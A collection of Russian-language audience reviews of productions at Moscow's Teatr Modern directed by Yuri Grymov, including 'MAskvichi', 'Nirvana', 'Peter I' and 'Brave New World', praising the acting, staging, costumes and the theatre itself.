Исключительно интересный умный да просто красивый спектакль "Масквичи". Блестяще всё: сценарий, игра актёров, режиссура слов нет. Великолепный вечер. Впервые увидела это потрясающее здание театра "Мрдерн" от 1911. Атмосыера - просто космос. Спасибо! Рекомендую от души.

Исключительно интересный умный да просто красивый спектакль "Масквичи". Блестяще всё: сценарий, игра актёров, режиссура слов нет. Великолепный вечер. Впервые увидела это потрясающее здание театра "Мрдерн" от 1911. Атмосыера - просто космос. Спасибо! Рекомендую от души.

Я не перестаю поражаться, насколько разные спектакли идут на сцене Театра Модерн, и на этот раз самым настоящим культурным шоком для меня стал спектакль «Нирвана». Спектакль рассказывает историю о Курте Кобейне, создателе группы Nirvana, весь путь его такой недолгой жизни от юности в маленьком городке до кумира миллионов.
Начать хотелось бы с Юрия Анпилогова — его Мистер Драг — это звезда спектакля. Видя его именно таким начинаешь понимать, почему люди могут подсесть на наркотики (drug — с английского наркотики). При чем понимаешь, что его обаяние страшное, черное, но попавшись под влияние — справится уже сложно.
Богдан Щукин — настоящее воплощение Кобейна, каким я себе его представляла. Очень понравился момент, когда Курт услышал в голове создание новой песни.
В спектакле звучит музыка не только группы Nirvana, был тут и Джон Леннон, и даже Майкл Джексон. Интересные решения сценографии, особенно впечатлила банка Кока-Колы и её перемещения по сцене — это было эффектно. И забавный момент с светящимися штуками на сцене, с помощью которых актеры хулиганят на сцене, а потом они становятся американскими горками. Пена во втором действии тоже хорошая идея.
Так же как и спектакль «Кладбище понтов», эта постановка оказалась очень про личное, напомнила очень глубоко спрятанные моменты, поэтому смотреть иногда было совсем не просто, но интересно. Да и вообще спектакль сложный, в нем поднято сразу несколько тем — наркомания, отношения детей и родителей (которые в этом случае стали началом трагедии), любовь, творческая реализация. Но что точно могу сказать — этот спектакль не оставит равнодушным.

Пётр 1 - выдающийся государственный деятель, московский царь из династии Романовых, великий реформатор. За годы его правления Россия стала империей и в государстве произошли глобальные изменения.
В театре «Модерн» поставили спектакль об этой сильной и противоречивой личности. Это первый масштабный спектакль трилогии «Антихрист и Христос». В выходные мне удалось побывать на спектакле.
Начинается он очень символично, на театральном занавесе идёт отсчёт времени и зритель переносится в эпоху правления Петра 1, в 17-18 век.
Юрий Анпилогов главную роль исполнил гениально! Он передал все эмоции: от гнева и ярости до боли и отчаяния. Вместе с режиссёром он раскрыл ключевые моменты жизни Петра, от ранней юности до последних дней. Мы стали свидетелями самых ярких событий: роман с Анной Монс, смерть лучшего друга, пожар в Москве, строительство Санкт-Петербурга, измены и предательства..
Каким он был: великим человеком, который «прорубил окно в Европу» или же наоборот, злодеем, который учил забывать обычаи, традиции и жить по новой культуре?
Порассуждать на эту тему можно после просмотра.
Спектакль восхитит любого зрителя своими костюмами. Платья и камзолы словно из исторического музея, все сверкают и радуют глаз. А какой сложной конструкции парики у большинства аристократов! Петр предстаёт перед нами таким, каким мы и привыкли его видеть на портретах: в кафтане и треугольной шляпе, словно ожившая восковая фигура.
В постановке удивительно сочетается современная музыка с историческими событиями, очень органично вписывается в сюжет.
Как и во многих других постановках Юрия Грымова интересна также игра света. В этот раз оригинально смотрелось воздушное полотно, которое, казалось, в зависимости от освещения, будто от ветра вздымалось вверх, то как пламя разлеталось по сцене.
Спектакль состоит из двух актов с непередаваемым накалом страстей и эмоций.
В антракте очень приятно послушать живую музыку и выпить чашечку кофе. В «Модерне» всегда очень приятная атмосфера.
Советую эту постановку к просмотру всем, кто хочет получше узнать биографию первого русского императора Петра 1 и его сына Алексея.
Перед спектаклем советую освежить в памяти основные исторические события.

«А я не понимаю, чем вам так плохо было в СССРе!» О разнице поколений и менталитетов, о колбасных шкварках и гендерных предрассудках в комедийной постановке Юрия Грымова.

29 января я наконец посмотрела постановку «МАсквичи» любимого режиссера Юрия Грымова в театре «Модерн», которую он посвятил нашим родителям. Как и все его спектакли, он глубок, многослоен и полон символов. Тема не новая, но остающаяся актуальной и важной во все времена - проблема взаимопонимания отцов и детей. Но только уже с другого ракурса, под другим соусом и от другого автора – Екатерины Брезгуновой, почерпнувшей сюжет из жизни собственной семьи. Здесь мы не сталкиваемся с чуждыми для многих временами и персонажами, о которых узнали из книг или из фильмов. Здесь мы видим наших родных, соседей, себя со стороны. И это не только повод по-доброму посмеяться над нелепостью недопонимания между нами и старшим поколением, но и оценить те любовь и заботу, которую дарят нам наши родные, осознать, насколько им порой сложно нас понять, как бы им этого ни хотелось, наконец услышать друг друга.

Вот так же и чета Гринберг прилетает в Нью-Йорк к своим окончательно прижившимся за кордоном дочерям. Младшая – Маша – закончила университет уже в Нью-Йорке и теперь работает в госпитале. Ее личная жизнь пока так и не сложилась, ведь Маша все еще не может забыть свою школьную любовь – Толика, которого выгнала из школы ее по-советски справедливая мама-учитель. А вот старшая сестра наоборот нашла свою любовь в лице этнического кубинца, с ранних лет живущего в США, воспитала рожденного еще в России сына Леву и даже сменила свое прежнее имя Ася на более подходящее для новой жизни – Ариэль. Вот только с работой у нее не заладилось, поэтому она стала блогером и учит людей тому, что самой не удается. Да и хроническая усталость довела ее до того, что она замкнулась в своем позитивном мирке, отвергая все, что может нарушить ее покой, включая новости. А вот внук Лева – скорее уже продукт американской выдержки, со всеми сопутствующими особенностями: сомнительными предпочтениями в одежде, тревожным расстройством, на долгие месяцы заточившим его в стенах дома после эпидемии ковида, и любовью к фотографиям мертвых птиц, в которых он видит романтику «падших ангелов». Но этой уже устаканившейся жизни не поняли приехавшие родители, умудренные опытом прожитых лет и решившие навести порядок, как они его понимают, в жизни своих дочерей и внука.

В постановке одновременно сталкиваются два времени, две страны, две культуры, три религии и шесть человек. В понимании прилетевших к дочерям Маргариты и Натана нет страны лучше, чем СССР, - в ней и вакцины лучше, и забота о гражданах. Их шокирует новость о том, что в квартире может быть тесно всего лишь нескольким людям, тогда как раньше на небольших пространствах дружно жили огромные семьи. Им не понятно, почему сбежавший от режима из дружественной Кубы с родителями кубинец Мигель отказывается от подарка – футболки с изображением чебурашки с лицом Че Гевары. Мигелю еще и перекреститься приходится во избежание гнева, кажется, забывшего о своей истиной религии тестя. И никак в их головах не укладывается, как можно сменить имя, данное родителями при рождении, как могут мужчина и женщина, будучи коллегами, переодеваться в одной комнате, как мужчина может подать жалобу на женщину за домогательство, как можно законно выращивать дома и продавать марихуану, как можно работать коучем-психологом без соответствующего образования и получать под дверь посылки очень личного назначения, как сырая рыба с рисом и палками в комплекте может быть вкуснее колбасных шкварок, как парень может ходить в юбке, заниматься шитьем и коллекционировать фотографии мертвых птиц. Но с самого начала мы видим постоянные попытки семейства, несмотря на пропасть, разделяющую их, примириться за общим столом, договориться, услышать друг друга. И, в конце концов, в этой большой семье все налаживается, и даже Лео не только выходит на улицу, но и помогает деду с подготовкой к аномальной снежной буре - самостоятельно рубит на дрова дерево. С самого начала тонкая нить примирения ведет зрителя к поучительной концовке – родители хоть и «динозавры», а все же не дураки.

Невозможно не отметить, насколько естественными были все персонажи, совершенно не думалось о том, что это спектакль. Богдан Щукин в роли Лео, Марина Дианова в роли Аси (Ариэль), Валерия Королева в роли Маргариты и Александр Борисов в роли Натана сделали этот спектакль еще более близким для зрителя благодаря невероятно реалистичному воплощению героев. Стиль сценографии у Юрия Грымова мной уже узнаваем – темная сцена, яркие световые пятна с акцентами, качественная музыкальная подборка, как всегда не без классики рока. В качестве декораций спектакля выступает макет городских каменных джунглей, незримые лианы которых давно опутали героев. И все же, как уютно смотрятся огоньки окон в темном пространстве сцены. Мгновение – и небоскребы становятся сказочным пейзажем, виднеющимся из окна Нью-Йоркской квартиры героев. Еще мгновение – и из-за туманных башен появляются люди в масках, динозавр и даже Кинг-Конг, демонстрируя нам фрагменты Машиного сна. Отсылка ли это к американской истории и культуре или олицетворение подсознательных страхов Маши, но выглядит это, как сейчас принято говорить, «крипово».

Но вот что любопытно – в составе «МАсквичей» на сайте указаны «ингредиенты» в процентном соотношении, и найти там можно и 3% Леди Гаги, и 0.8% Че Гевары, и 5% еврейских шуток, но нет там ничего московского или, даже, российского, кроме самого названия и афиши. На афише, как и на программке, неваляшка. У меня, как и у каждого советского ребенка, была такая же в детстве. Только эта возмущенная, на ней изображен Че Гевара, а буква «А» в названии превращается в Кремлевскую башню. Именно с неваляшкой сравнивает себя глава семейства Гринбергов – Натан, - «встал и дальше пошел». Мне кажется, этот закал присущ всем воспитанным в СССР, а потому пока что апокалипсис нам не страшен, ведь даже если рухнет мир, мы умеем приспосабливаться, мы закалены, мы выживем! И спектакли такие нам обязательно нужны, чтобы мы не забывали с юмором посмотреть на себя со стороны, наладили связь с родными, вспомнили – кто мы и откуда! И я даже, кажется, поняла, почему действие постановки перенесено в Америку, когда в начале спектакля стали появляться узнаваемые фрагменты лиц президентов разных стран. Хотя, я то и дело видела перед собой далеко не чуждые небоскребы, а, скорее, соседние дома, но мало говорить о непонимании в пределах одной семьи, одного города и одной страны, когда идет глобальное непонимание в мире в целом. Когда люди заговорили на разных языках, когда вражда на пустом месте достигла своего пика, так важно услышать и понять друг друга, как большая семья, семья величиной с планету Земля.

Спектакль "МАсквичи" Театра "МОДЕРН" у меня вызвал противоречивые чувства. С одной стороны, спектакль очень смешной. Прекрасный юмор и гротескные ситуации заставят улыбнуться любого. С другой стороны, грусть. Настолько узнаваемы образы.

Впрочем, возможно и вы узнаете в них себя или своих знакомых. Представьте семью в трёх поколениях. Натан (Александр Борисов), человек советского поколения, чётко знает, что хочет, пережил девяностые, коронавирус и нью-йоркский снегопад. Его жена Маргарита (Валерия Королева), всегда знает, как надо, сильно любит своих детей и естественно обеспокоена их, на её взгляд, неустроенной личной жизнью. Их дочь Ася (Марина Дианова), коуч, блогер с большой аудиторией, проводит тренинги о гармоничных отношениях, но сама отношения в её семье крайне далеко от тех, которым она учит. Её возлюбленный Мигель (Диллон Олойеде), кубинец, бывший таксист, ныне безработный, имеет небольшой бизнес по производству и реализации "волшебной" травы. Маша (Ольга Богомазова), младшая дочь, девушка целеустремлённая, с хорошим внутренним стержнем, по образованию врач, после внезапного увольнения впадает в длительный сон. Лео (Богдан Щукин), сын Аси, почти три года не выходит из дома, так как за его пределами не чувствует себя в безопасности, начитан, фотографирует мёртвых птиц, потому что они "похожи на ангелов", ищет себя.

Как видите, типажи яркие, узнаваемые. Как и их проблемы. Думаю, стоит немного коснуться сюжета. . В семью Аси, где основой является свобода самовыражения и принятие, приезжают родители. Вот тут-то и начинается самое интересное. Через нелепые ситуации и забавные диалоги мы видим, как чётко прорисовывается основная идея спектакля. Для меня её суть заключается в принятии человека таким, какой он есть, позволить проживать ему свою жизнь, позволить не оправдывать возложенные на него ожидания и личные проекции.

Также спектакль поднимает непростые социальные темы: тему сепарации, тему отцов и детей, тему взаимопонимания и любви, тему социального неравенства. Режиссёр спектакля Юрий Грымов отметил, что хотел создать узнаваемые типажи. И я считаю, ему удалось это на 100%.

Я сама выросла в 90-е, мне близко поколение Аси, неоднократно сталкивалась с родителями, душащими своей любовью и контролем, , как Натан и Маргарита. Тут не могу отметить игру Валерии Королевой и Александра Борисова. Их дуэт стал моим фаворитом. Сыграли ярко, правдоподобно. Марина Дианова почти на 100% попала в образ популярного блогера. Думаю, многим он знаком. Блогер, который учит создавать гармоничные отношения но при этом не может разобраться со своими. Узнаваем образ замкнутого подростка Лео. Богдан Щукин очень талантливо передал его смущение, неуверенность и застенчивость. Этот подросток боится быть непринятым и отвергнутым, потому выбирает оставаться в замкнутом пространстве. Только в мире интернета он чувствует себя уверенно.

Также хочу отметить прекрасные декорации. Неоднократно была в Театре "Модерн". Могу сказать, что костюмы и декорации здесь всегда на достаточно высоком уровне. Городские джунгли абсолютно естественным образом превращаются в светлую гостиную. Несколько удивили динозавр и горилла в снах Маши.

Костюмы подобраны так, что почти сразу отображают основную идею спектакля. Запомнился момент, когда Натан, естественно из лучших побуждений, дарит своему зятю-кубинцу футболку с изображением Чебурашки и надписью "Че". У зятя же с этой надписью свои кубинские ассоциации. Запомнился костюм Натана, особенно футболка с изображением Трампа. Как некая попытка героя частично ассимилироваться с окружающей действительностью.

Как видите, спектакль интересный, поднимающий непростые темы, хотя внешне воспринимается как весёлый и лёгкий. Идеальный вариант посмеяться и задуматься одновременно.

Даже и не знаю, где вас ещё так красиво встретят, как в театре «МОДЕРН» ?! На мой взгляд – одна из лучших театральных площадок столицы! Эстетика, стиль, красота и уют ощущаются в каждом его уголке!

Итак, что на сегодня? «Ничего, что я Чехоff?» Да, конечно! А также ничего, что ещё: и Константин Станиславский, и Евгений Вахтангов, и… Лаврентий Берия, и даже Адольф Гитлер с Евой Браун! Ну а на десерт ещё и блистательная Мэрлин Монро!

Вы спросите, что связывает все эти имена, которые невозможно представить, стоящими в одном ряду! Отвечу сразу – пронзительная история любви и невероятной жизни Михаила и Ольги Чеховых. Если до просмотра спектакля я многое знала о биографии актёра, педагога и драматурга – племянника знаменитого Антона Павловича (т.к. сама училась в театральной школе по его системе), то об Ольге Чеховой, его супруге, практически ничего. А тем временем, оба прожили очень яркую и насыщенную жизнь, а их судьбы плотно переплетены с судьбами селебрети – современников.

Игра главных героев в исполнении Александра Горелова и Анны Каменковой увлекает и держит до самого финала. Словно попав под мощное излучение «машины времени» зрителя переносит сквозь временной континуум из молодости в зрелость Михаила и Ольги, а затем и старость, и обратно, подсвечивая теплом, те редкие и яркие моменты, проведенные вместе в контексте бурлящего, полного трагизма, исторического периода.

Спектакль длиться почти два часа без антракта, но все на одном дыхании! Уникальный «грымовский почерк» – затемненное пространство сцены, минимум деталей (в этот раз большие кубы), яркие акценты и вспышки света, и при этом впечатление, что смотришь кино, и не хочется прерываться.

Конечно же, я не смогу передать и толики той самой, что ни на есть, театральной атмосферы! Поэтому от всей души рекомендую посмотреть этот удивительный спектакль и полностью погрузиться в происходящее на сцене. Поверьте, это стоит увидеть своими глазами!

Ну и как полагается в таких случаях: всему актерскому составу и режиссеру Юрию Грымову - громогласное «БРАВО!» и благодарность за чудесный вечер!

«Масквичи» в театре Модерн, режиссер Юрий Грымов.
Ох, ну что сказать, давно мечтала попасть! Даже планировала пойти 31 декабря, не получилось. Зато третьего января, благодаря сообществу и кураторам, удалось посетить театр в компании подруги, огромное спасибо за приглашение.
В фойе театра нас встретила актриса Анастасия Скибунова, она поздравила с Новым годом, рассказала о театре, о лучших постановках в нем и о всяких бонусах, которыми мы можем воспользоваться, чтобы сделать посещение еще более приятным. Такое радушное отношение к гостям в театре очень приятно подкупает, хочется вернуться сюда снова. Потом мы пошли сделать пару фотографий, на память, что закончилось полноценной фотосессией, ведь интерьер театра располагает к этому, визуально очень красиво и празднично. Особенно сейчас в Новогоднее время.
Зайдя на сайт театра, вы увидите в описании перечень шуток и итог – двести процентов юмора, это сразу интригует и заставляет улыбаться. Я думаю, не одну меня, т.к. на спектакль постоянно аншлаг, люди уходят довольные и радостные, с хорошим настроением и легким сердцем. А ведь сейчас так мало таких спектаклей: о современном мире и с юмором.
О чем же спектакль? Пересказывать комедии – лишать зрителя удовольствия, поэтому обозначу лишь исходную ситуацию. В центре повествования давно эмигрировавшая в Америку семья и вот к ним приезжаю их родители. Т.е. в смешной и абсурдной битве схлестнутся три поколения, два мировоззрения, множество мелочей и отличий жизни у них и жизни у нас. Мне понравилось, что в спектакле нет правой и неправой стороны, есть только близкие люди, которые, несмотря на разногласия, пытаются наладить хорошие, семейные отношения и хотят жить в любви.
Спектакль поставлен, как всегда в театре Модерн, с размахом, не буду спойлерить, но декорации и подвижные элементы поражают воображение, даже бывалых театралов (это я про свою подругу). Технически безупречно, постановочная группа очень и очень сделала все хорошо. За что им отдельное спасибо.
Актеры справились со своими ролями безупречно. В роли заикающегося подростка-пацифиста Лео очень правдоподобно и точно - Богдан Щукин. Его сестра, Маша (Ольга Богомазова) – тоже узнаваемый персонаж современности. Их мать Ася-Ариель, она же блогер-психолог (Марина Дианова) – очень смешно, особенно тем, кто хоть немного знаком с миром блогеров-коучей. Её муж, трогательный Мигель (Диллон Олойеде) – отличный лиричный персонаж. Пара родителей старшего поколения Маргарита (Валерия Королева) и Натан (Александр Борисов) – очень близкие, родные, ироничные роли, недаром Юрий Грымов посвятил спектакль родителям. На сцене звучит очень много музыки, прекрасно со вкусом подобранной, разной, но теплой и приятной.
Спектакль 18+, потому что до многих шуток надо дорасти, чтобы понять и посмеяться. Идеально, чтобы пойти и отдохнуть с друзьями или с родственниками. Еще держала в напряжении непредсказуемость сюжета, пьесу я не читала перед просмотром, в антракте мы гадали, что будет дальше, и не смогли предсказать. Понравилось, что разговор о современном, поставлено свежо и небанально, актерская игра на высоте. Рекомендую для того, чтобы провести вечер в хорошем настроении и поднять его знакомым. После спектакля скидка в буфете 30% - хороший повод не спеша обсудить увиденное, поделиться впечатлениями.
Для тех же, кто любит спектакли более глубокие по содержанию и смыслу, в этом театре есть более серьезные постановки по содержанию и тоже любимые: «Ничего, что я Чехов?», «***** и мир», «Петр I», и премьера с звездой театра Виктюка, Дмитрием Бозиным - «Леонардо».
Желаю всем приятных театральных открытий и хорошего настроения.

«Модерн» для меня это всегда переворот сознания, это про что-то такое невероятно глубокое, когда с первой минуты ты понимаешь, что попал и тебе срочно нужно все менять и переходить на новый уровень. Именно к этому я и готовилась в этот раз, а тут…никаких тебе глубоких рассуждений о том, куда катится мир, а 2 часа сокровенных разговоров с лучшей подругой по душам о самых заветных мечтах и самых глубоких переживаниях. Надя и Аня- главные героини спектакля «Хочу не могу» Сергея Аронина по пьесе Елены Исаевой «Я боюсь любви». Две женщины, две судьбы, две истории, но вот что-то общее, очень важное свело их на этой сцене и в этой жизни.
Наверное, в театре мы видели многое, почти все, но даже самый искушённый театрал замирает в изумлении, Когда за открывающимся занавесом вдруг обнаруживает актёрскую труппу пристально смотрящую на зрителей. Что за режиссёрский ход такой нестандартный? И только к концу постановки ты начинаешь понимать о чем это…ведь и правда-разве каждый из нас не может стать участником этой пьесы про такую разную любовь.

«Хочу не могу»-история, где все как в жизни-любовь, сомнения, страдания и разочарования. Разные люди, разные судьбы и такое одно на всех желание любить и быть любимым. Малый зал, небольшое количество актёров, пара стульев и кресло, но случается Магия театра и перед нами 50 персонажей в офисе, на улице, дома, да где угодно, ведь у декораторов целых пара стульев и кресло).

В зале то и дело слышались грустные вздохи и приглушённый смех-вот эту история точно про меня…а раз у главной героини получилось перевернуть всю жизнь ради такой внезапной любви, то и у меня получится?

Мой любимый театр Модерн уже в предновогоднем убранстве. Какая везде красота!!!
Пришла, чтобы вновь посмотреть первую часть задуманной Юрием Грымовым трилогии «Антихрист и Христос» - спектакль «Петр I», поставленный по произведениям Д. Мережковского и А. Толстого.
Небольшое отступление - на днях я была на премьере Э. Боякова в его «Новом театре» - спектакле «Лубянский гример» и мне очень резало глаз несовершенство костюмов и убогость сценографии… Положить совершенно жуткий искусственный ковер в зале с камином Врубеля! Сделать оторочку на халате графа из искусственного меха! И это при весьма недешевых ценах на билеты…
Так вот – спектакли Юрия Грымова в этом отношении – совершенны! Здесь не скупятся на костюмы и воспроизводят их с исторической точностью, поэтому ничто не отвлекает зрителя от самого действия спектакля.
А действие это предельно сконцентрировано воспроизводит события петровских времен, начиная с казни стрельцов (пятерым Петр сам отрубил головы!) и заканчивая смертью царевича Алексея, роль которого очень достоверно исполнил совсем еще юный Владислав Свиридов.
Чётко выстроенные сцены, яркие акценты, ни одной лишней фразы. Декораций практически нет, атмосфера внутри спектакля создается только благодаря безупречно подобранному Юрием Грымовым музыкальному сопровождению и игре света.
Первый раз я смотрела спектакль на уровне чувственного восприятия всего увиденного, а оно меня просто потрясло!
В этот раз честно пыталась все-таки дать оценку личности Петра I – Антихрист он, как считали многие в его окружении, или все же нес людям свет (Христом-то его язык точно не повернется назвать).
Однозначного ответа у меня, по-прежнему нет. Ясно одно, что думал он не о своем кармане или о своих непомерных амбициях, чем страдают нынешние «сильные мира сего», а лишь о будущем России, об ее величии.
Правильными были его представления о том, что пойдет стране и народу во благо или нет, были ли оправданы средства, выбранные для достижения поставленных им целей - это уже второй вопрос…
За неполные три часа Юрий Грымов показал нам все основные вехи, пройденные Петром I. Показал и его могущество и все теневые стороны, боли, страхи и слабости этого великого реформатора. Мне такой образ Петра был очень интересен.
Об игре Юрия Анпилогова (Петр I ) по-прежнему могу сказать лишь одно – гениально!!!
Моему разумению не подлежит, почему его до сих пор не наградили за эту роль, как и то, что сам спектакль тоже не был оценен высокой критикой.
Мне же очень близок режиссерский почерк Юрия Грымова. Все его спектакли смотрю с большим интересом и многие не по одному разу.
Особая благодарность артистам театра Модерн, которые играют с полной самоотдачей даже в массовке (а в ней вы легко можете увидеть вчерашних героев и героинь). Думаю, что это говорит об их полном доверии своему художественному руководителю!!!
Спектакль «Петр I», с моей точки зрения, обязателен для просмотра всеми, кто хочет полнее ознакомиться как с историей России, так и с личностью Петра – а примете вы его таким, каким его создал Юрий Грымов и показал Юрий Анпилогов или нет, вам решать…

"Понты", Театр Модерн, автор пьесы - Рина Ю, режиссер - Юрий Грымов, продолжительность - 1 ч.30 мин., без антракта, 16+.

Есть такое выражение "Понты дороже денег", именно их мы и увидели на примере истории каждой машины. А место действия спектакля - кладбище машин, которые потихоньку реставрирует человек. У каждой машины есть душа, есть своя история и есть свой особенный человек, который для машины был всем.

Я, кстати, из тех автовладельцев, которые дают своим машинам имена, прошлая моя машина была Ладушка, во время спектакля вспомнилось, что сдавая Ладушку по программе утилизации, она вдруг мигнула всеми своими фарами нам. Тогда еще было не по себе от этого, сдавать было жалко, но и ремонта было бы очень много, опять же содержания (надо же оправдать себя как-то) и подумали прощается Лада с нами. В процессе спектакля сразу вспомнила Ладу и комок за комком подступал к горлу. Как знать может это тоже есть в жизни и надеюсь она нас простила.

Драматургия спектакля приводит к тому, что в определенный момент им надо сделать выбор, небольшое восстание, но все же машины остаются человечными и жертвуют собой. А знаете как выглядит душа машины? - в виде коня, ведь на небе даже есть созвездие брошенных машин.

Не особо разбираюсь сильно в марках, но даже я понимала по деталям в костюмах принадлежность к той или иной марке авто. Впечатлили кубы-элементы в финале кладбища. Все действие спектакля проходило на улице и ведь погода на сцене тоже была разная. Декораций немного, но вполне достаточно. Свет, цвет, звук - все идеально. Музыка, а ее подбором тоже занимался Юрий Грымов идеальна для каждой ситуации, в спектакле прозвучал и трек "Машины" Вячеслава Петкуна (группа "Танцы минус"), но у каждого откладывается свое - для меня это был Джо Дассен.

Прекрасный спектакль на очень серьезную тему ответственности за тех кого приручили. Что же касается артистов - д****** удача увидеть на театральной сцене Анну Каменкову (обожаю ее игру в фильмах). Но вместе с тем, все артисты играли превосходно, даже сложно кого-то выделить. Так, что будете в Москве - загляните в Театр Модерн.

Мне безумно понравился антураж театра, небольшие помещения с одной стороны, но так обставлены каждая стильно, что хочется и книжку сесть в кресле почитать в библиотеке, и музыку послушать в музыкальном салоне, или испить шампанского в буфете, или просмотреть галерею из портретов артистов в гостиной, или ознакомится с творчеством разных художников в коридорах и фойе.

Ходили сегодня на "Маленького ослика". Ребенку очень понравился спектакль. 45 минут на одном дыхании!!! Здорово, что он музыкальный, сын подпевал весь спектакль!

Театр Модерн , один из моих любимых театров Москвы. Уютный, красивый, нарядный. Каждое посещение этого театра - праздник . Недавно смотрели спектакль « ничего, что я Чехов» . Великолепная игра актеров, смотрится на одном дыхании . Рекомендую. Наталья .

При первой возможности и при малейшем предлоге, я еду в Петербург. Это на сто процентов мой город. Я могу бесконечно по нему гулять, любуясь и дыша им.
Если бы Петр 1, кроме Петербурга бы в своей жизни ничего б не сделал, он все равно бы был для меня великим.
А он конечно человек был невероятного масштаба и сколько о нем не читай, все равно мало, но жутко интересно, а ещё любопытней взять и подглядеть за жизнью Императора. Что собственно я и сделала, наконец-то посетив Театр Модерн спектакль Петр1 ( первая часть трилогии "Антихрист и Христос"), режиссера и художественного руководителя Юрия Грымова.
Первое, что хочется отметить, это сам театр, начиная от входа и до самого зала, попадаешь в супер уютное пространство. Встречают красиво одетые люди, все кругом празднично, наряжено, даже пожалела, что приехала впритык, и не успела, как следует все разглядеть и насладиться.  Впредь буду знать, что сюда надо приезжать пораньше)))
Но вот третий звонок и начинается волшебство. Переносимся в 17 век.
Страшное, мрачное время конечно.
Бедная Русь, бунты,  кровь, заговоры, иностранные агенты.
Вот умеет Грымов словно одним мазком кисти преподнести готовую картину, вроде минимум декораций и каких то сложных конструкций, а вот прям полное ощущение погружения. Свет, музыкальные акценты, дым, дух ***********, и страшно что-то упустить из внимания. Свита делает короля, и тут опять прямо в яблочко, перед появлением главного героя, мы видим возлюбленную Петра, его окружение и его подданных, а далее очень крутой режиссерский ход, не буду раскрывать его, дабы не лишать удовольствия, тех, кто ещё только собирается посетить постановку, но поверьте на слово, это настоящая находка, вроде и очень простая и лежащая на поверхности, но при этом понятная, логичная и смысловая.
И наконец появление самого Петра. Без лукавства, несколько фраз очень слух порезали, но их использование наверное всё-таки оправданно. Перед нами не сошедший с парадных портретов Государь Российский, а вполне такой себе живой человек из плоти и крови, да крутого нрава, да не без особенностей, но разве ж можно быть для всех идеальным? Может ли правитель быть святым и угождать всем?! Петр 1 (Юрий Анпилогов) истинный самодержец и  реформатор, он ставит цели и идет к их достижению, прокладывая путь, там где казалось нет и не может быть дороги.
За три часа постановки вместе, мы прошли этот невероятный по своему накалу путь.
Меньшиков, Шереметьев, Нектарий, Варлаам, Екатерина, цесаревич Алексей, Шарлота -  все были частями одного пазла. Словно рукава рек, они наполняли и раскрывали личность Петра, представляя его с совершенно разных сторон.
Удивительные, красочные костюмы дополняют антураж и восхищают глаз. В целом мизансцены словно кадры из кино яркими страницами запечатлеваются в памяти всплывая и открывая словно ребус, смысловую нагрузку, которой очень много и ещё предстоит посидеть взяв в руки книги по истории, дабы погрузиться поглубже и вновь вернуться на постановку,  раскрыть, то, что с первого взгляда не уловила. Да и на актеров хочется ещё раз посмотреть, уж очень они хороши в своих ролях.
Исполнитель главной роли Юрий Анпилогов, просто неподражаем, столько силы, воли, ярости, страсти, одержимости в нем, и тут же и сомнения, боль и горечь и все так выразительно, настоящий  затягивающий омут.
Финал просто разрывает, очень сильно, очень глубоко и философски.
Браво режиссеру, Браво исполнителям!

О дивный новый мир в театре Модерн режиссер Юрий Грымов.
Олдос Леонард Хаксли – выдающийся писатель, философ прошлого века, самые знаменитые его произведения «О новый дивный мир» и «Остров». Поэтому очень интересно было, как антиутопия будет поставлена на сцене. Это очень непростой жанр. Но мне понравилось, режиссёру получилось сделать повествование зрелищным и вкусным. Интересные декорации, огромный кокон, башня-церковь плюс костюмы цвета металлик и аллюзия про мир будущего становится реальной.
Эта антиутопия про радостное будущее, в котором отказались от рождения детей в семье, отказались от привязанностей к партнеру, заплатили за благополучие эмоциональной бесчувственностью. И в вроде бы все прекрасно, люди постоянно омолаживаются, принимают, когда грустят веселящий препарат, забыли про семейные дрязги. Но этот мир слишком пластиковый и ненастоящий, понимает герой, когда попадает в дивный мир утопии. Здесь все слишком рационально: процветает потребительское отношение не только к предметам, но и к людям.
Не буду пересказывать спектакль, пусть каждый насладится сам. Но созданы очень сильные образы. Монд в исполнении Игоря Яцко (заслуженный артист России) - харизматичный, яркий, убедительный – кумир молодежи.
Великолепна на сцене Анна Каменкова (заслуженная артистка РСФСР) – сцены с ней — это диво дивное, местами до слез. Браво!
Очень понравился Александр Толмачев в роли Джона, искренно, жизненно, по-настоящему веришь.
Маина Чижевская в роли Ленайры – невероятно красива и притягательна, бесконечно женственна и хороша.
И, конечно, Бернард Сергей Аронина, как всегда, запоминающаяся роль, проработанная до мелочей.
На спектакле стоит 16+, т.е. можно сходить с подростками. Ведь именно от них зависит, какой мир мы построим дальше. Советую этот спектакль, для тех, кто хочет не просто насладится красивым зрелищем, а еще и подумать о будущем.
Сам театр невероятно красив, а сейчас еще и шикарно украшен к Новому году. Мы ходили с подругой и нам обоим понравилось.

Женитьба в театре Модерн режиссер Юрий Грымов.
Собрались как-то Чехов, Островский и Гоголь. Звучит как начало очень смешного анекдота. А на самом деле – это рецепт коктейля из «Женитьбы» у Юрия Грымова. Так как эти авторы смешаны, но не взболтаны, для того что бы получилось очень свежо и зрелищно, так что по старинке хочется сказать: «Ба, вот это да!». Недаром на программке «Женить» написано отдельно от «Ба» . Потому что режиссер Юрий Грымов умеет создать безупречное зрелище, и не только на театральных подмостках. Это я сейчас о прекрасно украшенном театре к праздникам. Столько фото я не делаю ни в каком другом театре, но тут такое комплементарное пространство, что невозможно удержаться от фотосессии. Красота начинается уже у входа и продолжается внутри, в этом году шикарная перевернутая елка в комнате с фотографиями актеров, вертикальные гирлянды у лестницы, шикарный стол с вазами и орхидеями, живые туи у здания театра и еще много красоты для визуалов.
Попасть на «Женитьбу», я хотела с прошлого года, да все не складывались обстоятельства в нужный пазл. И вот когда все получилось, я летела на спектакль окрыленная и счастливая. Определенные опасения у меня, честно скажу, были на счет исполнительницы главной роли Агафьи Тихоновны, Лолиты Милявской, хотя большинство зала идет на нее, конечно. Так как певица такой глубины таланта и харизмы не может не привлекать зрителей. Но в все же я считаю профессию актера отдельной, заслуживающей образования и многолетнего труда. Но тут вмешался гений режиссера, и он смог удачно и органично использовать индивидуальность Лолиты, а она вполне смогла сыграть успешную независимую женщину, которой и является на самом деле. Мне очень понравилось, что её Агафья вполне интересная, умная женщина, которая отчаянно хочет любви, но при ближайшем рассмотрении женихов видит их все изъяны и пороки. Подколесин (отлично сыграл роль Александр Колесников) оказывается лучше других только по одной причине, что он, вернее его представитель, Илья Кочкарев (Алексей Багдасаров, как всегда гармоничный образ) обещает такую желанную и недостижимую любовь для Агафьи.
Женские образы в спектакле Акулины Красавиной, свахи, (заслуженная артистка России Анастасия Светлова) и Павлы Бальзаминовой (заслуженная артистка РСФСР Любовь Новак) – это образы сильных женщин, которые пробуют изменить предполагаемые обстоятельства и направить чувства в нужную им сторону. Хоть это и достаточно комично выглядит.
